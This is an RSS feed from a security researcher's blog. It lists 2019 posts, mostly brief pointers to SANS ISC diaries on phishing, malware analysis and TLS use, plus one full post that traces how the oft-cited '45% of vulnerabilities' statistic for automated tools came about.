<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" 
  xmlns:content="http://purl.org/rss/1.0/modules/content/" 
  xmlns:dc="http://purl.org/dc/elements/1.1/" 
  xmlns:atom="http://www.w3.org/2005/Atom" 
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" 
  xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title>2019 on Untrusted Network</title>
    <link>https://untrustednetwork.net/en/category/2019/</link>
    <description>Recent content in 2019 on Untrusted Network</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <copyright>&amp;copy; Jan Kopriva 2015 - {year}</copyright>
    <lastBuildDate>Fri, 13 Dec 2019 08:22:37 +0100</lastBuildDate>
    <sy:updatePeriod>weekly</sy:updatePeriod>
    <sy:updateFrequency>weekly</sy:updateFrequency>
    
        <atom:link href="https://untrustednetwork.net/en/category/2019/index.xml" rel="self" type="application/rss+xml" />
    
    
    

      
      <item>
        <title>SANS ISC Diary - Internet banking sites and their use of TLS... and SSLv3... and SSLv2?!</title>
        <link>https://untrustednetwork.net/en/2019/12/13/sans-isc-diary-internet-banking-sites-and-their-use-of-tls...-and-sslv3...-and-sslv2/</link>
        <pubDate>Fri, 13 Dec 2019 08:22:37 +0100</pubDate>
        
        <atom:modified>Fri, 13 Dec 2019 08:22:37 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/12/13/sans-isc-diary-internet-banking-sites-and-their-use-of-tls...-and-sslv3...-and-sslv2/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at the use of TLS (and SSL) on banking sites all over the world.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Internet+banking+sites+and+their+use+of+TLS+and+SSLv3+and+SSLv2/25606/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one we take a look at the use of TLS (and SSL) on banking sites all over the world.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>SSL</category>
            
          
            
              <category>TLS</category>
            
          
            
              <category>Bank</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - Phishing with a self-contained credential-stealing webpage</title>
        <link>https://untrustednetwork.net/en/2019/12/06/sans-isc-diary-phishing-with-a-self-contained-credential-stealing-webpage/</link>
        <pubDate>Fri, 06 Dec 2019 07:30:00 +0100</pubDate>
        
        <atom:modified>Fri, 06 Dec 2019 07:30:00 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/12/06/sans-isc-diary-phishing-with-a-self-contained-credential-stealing-webpage/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at an interesting phishing message, which carried a complete phishing web page as its attachment.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Phishing+with+a+selfcontained+credentialsstealing+webpage/25580/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one we take a look at an interesting phishing message, which carried a complete phishing web page as its attachment.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Phishing</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - E-mail from Agent Tesla</title>
        <link>https://untrustednetwork.net/en/2019/12/05/sans-isc-diary-e-mail-from-agent-tesla/</link>
        <pubDate>Thu, 05 Dec 2019 07:30:00 +0100</pubDate>
        
        <atom:modified>Thu, 05 Dec 2019 07:30:00 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/12/05/sans-isc-diary-e-mail-from-agent-tesla/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at a multi-stage downloader for Agent Tesla.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Email+from+Agent+Tesla/25576/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one we take a look at a multi-stage downloader for Agent Tesla.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Phishing</category>
            
          
            
              <category>Malware</category>
            
          
            
              <category>Malware Analysis</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - Analysis of a strangely poetic malware</title>
        <link>https://untrustednetwork.net/en/2019/12/04/sans-isc-diary-analysis-of-a-strangely-poetic-malware/</link>
        <pubDate>Wed, 04 Dec 2019 08:14:33 +0100</pubDate>
        
        <atom:modified>Wed, 04 Dec 2019 08:14:33 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/12/04/sans-isc-diary-analysis-of-a-strangely-poetic-malware/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at a macro-based dropper sent to the Internet Storm Center by one of our readers.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Analysis+of+a+strangely+poetic+malware/25572/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one we take a look at a macro-based dropper sent to the Internet Storm Center by one of our readers.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Phishing</category>
            
          
            
              <category>Malware</category>
            
          
            
              <category>Malware Analysis</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - Lessons learned from playing a willing phish</title>
        <link>https://untrustednetwork.net/en/2019/11/26/sans-isc-diary-lessons-learned-from-playing-a-willing-phish/</link>
        <pubDate>Tue, 26 Nov 2019 12:08:19 +0100</pubDate>
        
        <atom:modified>Tue, 26 Nov 2019 12:08:19 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/11/26/sans-isc-diary-lessons-learned-from-playing-a-willing-phish/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at baiting phishing attackers and at some of the lessons we may learn from it.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Lessons+learned+from+playing+a+willing+phish/25552/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one we take a look at baiting phishing attackers and at some of the lessons we may learn from it.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Phishing</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - Did the recent malicious BlueKeep campaign have any positive impact when it comes to patching?</title>
        <link>https://untrustednetwork.net/en/2019/11/10/sans-isc-diary-did-the-recent-malicious-bluekeep-campaign-have-any-positive-impact-when-it-comes-to-patching/</link>
        <pubDate>Sun, 10 Nov 2019 11:55:40 +0100</pubDate>
        
        <atom:modified>Sun, 10 Nov 2019 11:55:40 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/11/10/sans-isc-diary-did-the-recent-malicious-bluekeep-campaign-have-any-positive-impact-when-it-comes-to-patching/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. If you wondered whether the recent &amp;ldquo;BlueKeep worm scare&amp;rdquo; had any impact when it comes to the number of vulnerable systems out there, then this one is for you.
EDIT 13/11/2019: Shaun from The Register liked the post and wrote an article based on it - you may find it here.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Did+the+recent+malicious+BlueKeep+campaign+have+any+positive+impact+when+it+comes+to+patching/25506/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. If you wondered whether the recent &amp;ldquo;BlueKeep worm scare&amp;rdquo; had any impact when it comes to the number of vulnerable systems out there, then this one is for you.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;EDIT 13/11/2019: Shaun from The Register liked the post and wrote an article based on it - you may find it &lt;a href=&#34;https://www.theregister.co.uk/2019/11/11/bluekeep_didnt_boost_patching/&#34;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>BlueKeep</category>
            
          
            
              <category>Malware</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - EML attachments in O365 - a recipe for phishing</title>
        <link>https://untrustednetwork.net/en/2019/10/31/sans-isc-diary-eml-attachments-in-o365-a-recipe-for-phishing/</link>
        <pubDate>Thu, 31 Oct 2019 11:15:35 +0100</pubDate>
        
        <atom:modified>Thu, 31 Oct 2019 11:15:35 +0100</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/10/31/sans-isc-diary-eml-attachments-in-o365-a-recipe-for-phishing/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at the absence of filtering of EML attachments in O365 and what it can lead to.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/EML+attachments+in+O365+a+recipe+for+phishing/25474/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one, we take a look at the absence of filtering of EML attachments in O365 and what it can lead to.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Phishing</category>
            
          
            
              <category>O365</category>
            
          
            
              <category>EML</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>Do automated tools really detect only 45% of all vulnerabilities?</title>
        <link>https://untrustednetwork.net/en/2019/10/19/do-automated-tools-really-detect-only-45-of-all-vulnerabilities/</link>
        <pubDate>Sat, 19 Oct 2019 18:50:15 +0200</pubDate>
        
        <atom:modified>Sat, 19 Oct 2019 18:50:15 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/10/19/do-automated-tools-really-detect-only-45-of-all-vulnerabilities/</guid>
        <description>If you&amp;rsquo;ve dealt with IT security for any length of time, chances are that you&amp;rsquo;ve come across a claim that research has shown that automated tools can only detect 45% of vulnerabilities. It is often cited to illustrate the need for participation of human experts in security and penetration tests. However is the claim really true?
You may find it in, among many other places, the latest OWASP Testing Guide.</description>
        <content:encoded>&lt;p&gt;If you&amp;rsquo;ve dealt with IT security for any length of time, chances are that you&amp;rsquo;ve come across a claim that &lt;em&gt;research has shown that automated tools can only detect 45% of vulnerabilities&lt;/em&gt;. It is often cited to illustrate the need for participation of human experts in security and penetration tests. However is the claim really true?&lt;/p&gt;
&lt;p&gt;You may find it in, among many other places, the latest &lt;a href=&#34;https://www.owasp.org/images/1/19/OTGv4.pdf&#34;&gt;OWASP Testing Guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/2019/cwe/otg.png&#34; alt=&#34;OTGv4&#34;&gt;
&lt;div align=right&gt;&lt;kbd&gt;Source: &lt;a href=&#34;https://www.owasp.org/images/1/19/OTGv4.pdf&#34;&gt;OWASP Testing Guide v4, page 22&lt;/a&gt;&lt;/kbd&gt;&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Given this source in particular, one might reasonably expect the claim to be correct&amp;hellip;but, as you may have guessed, that is not the case. Or rather not entirely. Some other sources cite the original research, where the number 45% originated, more or less correctly, as &lt;em&gt;tools are capable of detecting 45% of &lt;strong&gt;types&lt;/strong&gt; of vulnerabilities&lt;/em&gt;. This version may be found (again, among many other places) in several OWASP presentations.&lt;/p&gt;
&lt;p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/2019/cwe/owasp-presentation.png&#34; alt=&#34;OWASP-Embed within SDLC-slide 42&#34;&gt;
&lt;div align=right&gt;&lt;kbd&gt;Source: &lt;a href=&#34;https://www.owasp.org/images/f/f2/Education_Module_Embed_within_SDLC.ppt&#34;&gt;OWASP - Embed within SDLC, slide 42&lt;/a&gt;&lt;/kbd&gt;&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Many have cited these presentations. For example Mitnick Security, company of the world renowned Kevin Mitnick, cites OWASP almost word for word on their website. However, as a closer look at the text of their site shows, even they, when coming from exact citation of OWASP, managed to interpret the conclusions of the original research to mean &amp;ldquo;automated tools detect only 45% of vulnerabilities&amp;rdquo; in some cases.&lt;/p&gt;
&lt;p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/2019/cwe/mitnick1.png&#34; alt=&#34;Citation of OWASP on mitnicksecurity.com&#34;&gt;
&lt;div align=right&gt;&lt;kbd&gt;Source: &lt;a href=&#34;https://www.mitnicksecurity.com/security/information/vulnerability-assessments-threat-and-risk-analysis&#34;&gt;mitnicksecurity.com&lt;/a&gt;&lt;/kbd&gt;&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Leaving misunderstanding/misquoting of the original conclusions to one side, even in cases when the conclusions are cited correctly, many seem to gloss over the fact that the research, which resulted in the &amp;ldquo;45%&amp;rdquo; result, was limited in scope to only certain types of tools and took place all the way back in 2007 so its results don&amp;rsquo;t necessarily describe the current state of affairs&amp;hellip; But we&amp;rsquo;re getting ahead of ourselves. First, let&amp;rsquo;s take a look at where the number actually came from.&lt;/p&gt;
&lt;p&gt;OWASP Testing Guide is one of the few places where we may find an attribution (although the reference in OTG should point to [21], not [22]), which leads us to a presentation from BlackHat DC 2007 by a team (Robert A. Martin, Sean Barnum and Steve Christey) from MITRE/Cigital.&lt;/p&gt;
&lt;p&gt;Unfortunately, by itself, the slide from the presentation which is cited in OTG doesn&amp;rsquo;t give us much information. We may deduce from it that 55% of CWEs were found not to be covered by - presumably - some tested or analyzed tools, but that is about it.&lt;/p&gt;
&lt;p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/2019/cwe/slide_30.png&#34; alt=&#34;Slide 30&#34;&gt;
&lt;div align=right&gt;&lt;kbd&gt;Source: &lt;a href=&#34;http://cwe.mitre.org/documents/being-explicit/BlackHatDC_BeingExplicit_Slides.ppt&#34;&gt;MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE&lt;/a&gt;&lt;/kbd&gt;&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Since the other slides in the presentation don&amp;rsquo;t give us any more information regarding the presumed 45% detection rate, we need to dig a bit deeper. After a while of Googling, one might find couple of articles from the same authors on MITRE website (&lt;a href=&#34;https://cwe.mitre.org/documents/being-explicit/BlackHat_BeingExplicit_WP.pdf&#34;&gt;one which probably served as a basis for the BlackHat talk&lt;/a&gt; and &lt;a href=&#34;https://cwe.mitre.org/documents/xtalkmartin.pdf&#34;&gt;one from CrossTalk magazine&lt;/a&gt;), which are both titled the same as the presentation. Neither of them, unfortunately, sheds any light on the issue of detection rate among automated tools.&lt;/p&gt;
&lt;p&gt;I have to admit that this was the point, where my Google-Fu failed me as I was unable to find anything more exact with regards to the original research. I was, however, able to find e-mail contacts for all three authors of the original paper/presentation from BlackHat DC 2007 and one of them - Bob Martin - was kind enough to reply to my message and explain what their work was based on. Following paragraphs are contents of the e-mail I received, unedited except for the use of bold font for what I believe are the most important parts.&lt;/p&gt;
&lt;br&gt;
&lt;hr /&gt;
&lt;div&gt;
&lt;i&gt;
&lt;b&gt;The source of that statistic is the MITRE CWE Team&#39;s compilation of the knowledge-bases from the static analysis tools that provided us with the details of weaknesses so we could build out CWE.
&lt;br&gt;
&lt;br&gt;While we don&#39;t have a specific list of those who donated content, the list of organization on the CWE Community page is close, if you limit yourself to tool and researcher organizations.
&lt;br&gt;
&lt;br&gt;The 2007 Black Hat talk does a pretty good job covering what went into the creation of CWE.
&lt;br&gt;
&lt;br&gt;So when we combined all of these different knowledge-sources we found that there was only a very slight intersections between the tools knowledge-bases.
&lt;br&gt;
&lt;br&gt;Now a days, the best way to recreate this would be to use the COVERAGE CLAIMS that most of the CWE Compatible tools and services provide.&lt;/b&gt;
&lt;br&gt;
&lt;br&gt;Examples of Publicly Available CWE Coverage Claims:
&lt;br&gt;----------------------------------------------------------------------
&lt;br&gt;https://www.synopsys.com/content/dam/synopsys/sig-assets/datasheets/coverity-cwe-sanstop25.pdf
&lt;br&gt;https://www.grammatech.com/software-assurance/certifications-compliance/cwe
&lt;br&gt;https://docs.sonarqube.org/latest/user-guide/security-rules/
&lt;br&gt;https://help.veracode.com/reader/DGHxSJy3Gn3gtuSIN2jkRQ/o5xpvFVymSUGcFJ492HXEg
&lt;br&gt;http://docs.klocwork.com/Insight-10.0/CWE_IDs_mapped_to_Klocwork_C_and_C%2B%2B_checkers
&lt;br&gt;http://docs.klocwork.com/Insight-10.0/2011_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
&lt;br&gt;http://docs.klocwork.com/Insight-10.0/2010_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
&lt;br&gt;http://docs.klocwork.com/Insight-10.0/CWE_IDs_mapped_to_Klocwork_Java_checkers
&lt;br&gt;http://docs.klocwork.com/Insight-10.0/2011_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
&lt;br&gt;http://docs.klocwork.com/Insight-10.0/2010_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
&lt;br&gt;https://access.redhat.com/articles/171613
&lt;br&gt;https://dwheeler.com/flawfinder/flawfinder.pdf
&lt;br&gt;https://vulncat.fortify.com/en/weakness
&lt;br&gt;
&lt;br&gt;On the last one, we&#39;d like to get Fortify to offer their coverage indexed by CWE Ids but so far this is what we have from them.
&lt;br&gt;
&lt;br&gt;&lt;b&gt;That being said, the statistic we did in 2007 was only for static analysis tools, since at that time they were the only one really documenting the flaws they found and talking about how to fix them.&lt;/b&gt;
&lt;br&gt;
&lt;br&gt;Similar static analysis studies were done by the Center for Assured Software (CAS) out of NSA.  Here&#39;s links to their 2010 and 2011 reports:
&lt;br&gt;
&lt;br&gt;http://cps-vo.org/file/1152/download/30152
&lt;br&gt;https://samate.nist.gov/docs/CAS_2011_SA_Tool_Method.pdf
&lt;br&gt;
&lt;br&gt;On slides 21 &amp; 22 of the first one, and on page 25 of the second one they show the overlap in findings between tools.
&lt;br&gt;
&lt;br&gt;&lt;b&gt;Today you&#39;d want to include DAST and Binary analysis, along with any other tool/technique that can uncover weaknesses in software architecture, software design, software code, and the deployment of software into operations.
&lt;br&gt;
&lt;br&gt;You would also want include more of the quality issues that only indirectly make it easier to introduce a vulnerability and/or make the vulnerability more difficult to detect or mitigate, like reliability, performance, and maintainability, similar to the expansion undergone by CWE itself in January https://cwe.mitre.org/news/index.html#jan032019_CWE_Version_3.2_Now_Available.&lt;/b&gt;
&lt;br&gt;
&lt;br&gt;Within CWE these are captured in the CWE-1128 view (CISQ Quality Measures (2016)) and the &#34;quality&#34; slice (CWE-1040, Quality Weaknesses with Indirect Security Impacts), which includes not-automatically-detectable quality issues.
&lt;br&gt;
&lt;br&gt;CISQ recently published an update to their work which we are still capturing as a CWE view.
&lt;br&gt;
&lt;br&gt;Leveraging the CAS work, NIST has been holding Software Assurance Tool Evaluation (SATE) efforts, where NIST is working with the community, both private industry, academia, and government, to get a better handle on what weaknesses tools find and how well they find them. They have annual workshops and share test programs (Juliet).
&lt;br&gt;
&lt;br&gt;Finally, tools can not find many architecture or design weakness https://cwe.mitre.org/data/definitions/1008.html.  If the development effort using model-based software engineering tools they theoretically can find some of these - which is the focus of a new MBSE Working Group in the Consortium of Information and Security Quality (CISQ).
&lt;br&gt;
&lt;/i&gt;
&lt;/div&gt;
___
&lt;br&gt;
&lt;p&gt;As we may see - among many other information for which I&amp;rsquo;m very grateful to Bob Martin - the original research only covered static analysis tools (SAST). Even if the research wasn&amp;rsquo;t as old as it is, this fact alone shows its results should not be interpreted and presented in the way they very often are.&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t get me wrong - I don&amp;rsquo;t claim that tools alone can find every type of vulnerability out there. They can&amp;rsquo;t - automated scanners and other tools are great at finding certain types of vulnerabilities, but for others, they are either unable to find them at all or don&amp;rsquo;t come even close to what an experienced penetration tester, analyst or auditor may discover. I don&amp;rsquo;t even claim that tools are currently capable of finding more than 45% of all vulnerability types - I don&amp;rsquo;t know whether or not they are and as far as I can tell, no one else does either.&lt;/p&gt;
&lt;p&gt;And that is the point - although we might like to have hard numbers to back up why human factor is indispensable when it comes to finding vulnerabilities, citing results of a study from 2007 as current, or using misquoted version of its conclusions in marketing materials in order to convince customers that they &lt;strong&gt;really&lt;/strong&gt; need &lt;strong&gt;our&lt;/strong&gt; experienced pentesters in order to be secure, is something we should try very hard to avoid.&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        
        
        
        
          
            
              <category>CWE</category>
            
          
        
        
          
            
              <category>Vulnerabilities</category>
            
          
            
              <category>2019</category>
            
          
        
        
      </item>
      
      <item>
        <title>SANS ISC Diary - Phishing e-mail spoofing SPF-enabled domain</title>
        <link>https://untrustednetwork.net/en/2019/10/17/sans-isc-diary-phishing-e-mail-spoofing-spf-enabled-domain/</link>
        <pubDate>Thu, 17 Oct 2019 11:49:25 +0200</pubDate>
        
        <atom:modified>Thu, 17 Oct 2019 11:49:25 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/10/17/sans-isc-diary-phishing-e-mail-spoofing-spf-enabled-domain/</guid>
        <description>A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at SPF and when even SPF-enabled domains may be spoofed.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Phishing+email+spoofing+SPFenabled+domain/25426/&#34;&gt;Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one, we take a look at SPF and when even SPF-enabled domains may be spoofed.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Phishing</category>
            
          
            
              <category>SPF</category>
            
          
            
              <category>Malware</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>ALEF Security Report 2019</title>
        <link>https://untrustednetwork.net/en/2019/09/16/alef-security-report-2019/</link>
        <pubDate>Mon, 16 Sep 2019 20:40:35 +0200</pubDate>
        
        <atom:modified>Mon, 16 Sep 2019 20:40:35 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/09/16/alef-security-report-2019/</guid>
        <description>Couple of months back, my colleagues and I created a report covering current cyber security situation in the Czech Republic. If you&amp;rsquo;d like to know, what security services were most in demand during the last couple of years, how large is the percentage of Czech organizations, which conduct phishing tests of their employees, or how STARTTLS adoption is progressing in Czech Republic, you may download it here.</description>
        <content:encoded>&lt;p&gt;Couple of months back, my colleagues and I created a report covering current cyber security situation in the Czech Republic. If you&amp;rsquo;d like to know, what security services were most in demand during the last couple of years, how large is the percentage of Czech organizations, which conduct phishing tests of their employees, or how STARTTLS adoption is progressing in Czech Republic, you may download it &lt;a href=&#34;https://untrustednetwork.net/files/2019/ALEF_Security_Report_2019_EN.pdf&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        
        
        
        
          
            
              <category>ALEF</category>
            
          
            
              <category>ALEF CSIRT</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
      </item>
      
      <item>
        <title>SANS ISC Diary - Tricky LNK points to TrickBot</title>
        <link>https://untrustednetwork.net/en/2019/09/03/sans-isc-diary-tricky-lnk-points-to-trickbot/</link>
        <pubDate>Tue, 03 Sep 2019 13:06:21 +0200</pubDate>
        
        <atom:modified>Tue, 03 Sep 2019 13:06:21 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/09/03/sans-isc-diary-tricky-lnk-points-to-trickbot/</guid>
        <description>A Guest Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at analyzing a malicious LNK file which leads us to a sample of Trickbot.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Guest+Diary+Tricky+LNK+points+to+TrickBot/25290/&#34;&gt;Guest Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one, we take a look at analyzing a malicious LNK file which leads us to a sample of Trickbot.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;
</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
        <media:content url="https://untrustednetwork.netimages/isc.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>SANS</category>
            
          
            
              <category>Malware</category>
            
          
            
              <category>Malware Analysis</category>
            
          
            
              <category>Trickbot</category>
            
          
        
        
          
            
              <category>News</category>
            
          
            
              <category>2019</category>
            
          
        
        
          
            
              <category>SANS ISC Diary</category>
            
          
        
      </item>
      
      <item>
        <title>SANS ISC Diary - Open Redirect: A Small But Very Common Vulnerability</title>
        <link>https://untrustednetwork.net/en/2019/08/28/sans-isc-diary-open-redirect-a-small-but-very-common-vulnerability/</link>
        <pubDate>Wed, 28 Aug 2019 14:27:02 +0200</pubDate>
        
        <atom:modified>Wed, 28 Aug 2019 14:27:02 +0200</atom:modified>
        <guid>https://untrustednetwork.net/en/2019/08/28/sans-isc-diary-open-redirect-a-small-but-very-common-vulnerability/</guid>
        <description>A Guest Diary of mine was published today on the SANS Internet Storm Center. In this one, I discuss open redirect vulnerabilities and how to find them. If you&amp;rsquo;ve never heard of open redirects, this might be a useful introductory text.</description>
        <content:encoded>&lt;p&gt;A &lt;a href=&#34;https://isc.sans.edu/forums/diary/Guest+Diary+Open+Redirect+A+Small+But+Very+Common+Vulnerability/25276/&#34;&gt;Guest Diary&lt;/a&gt; of mine was published today on the &lt;a href=&#34;https://isc.sans.edu/&#34;&gt;SANS Internet Storm Center&lt;/a&gt;. In this one, I discuss open redirect vulnerabilities and how to find them. If you&amp;rsquo;ve never heard of open redirects, this might be a useful introductory text.&lt;/p&gt;
&lt;img src=&#34;https://untrustednetwork.net/images/isc/isc-diary.jpg&#34; alt=&#34;ISC diary&#34;&gt;</content:encoded>
        <dc:creator>Jan Kopriva</dc:creator>
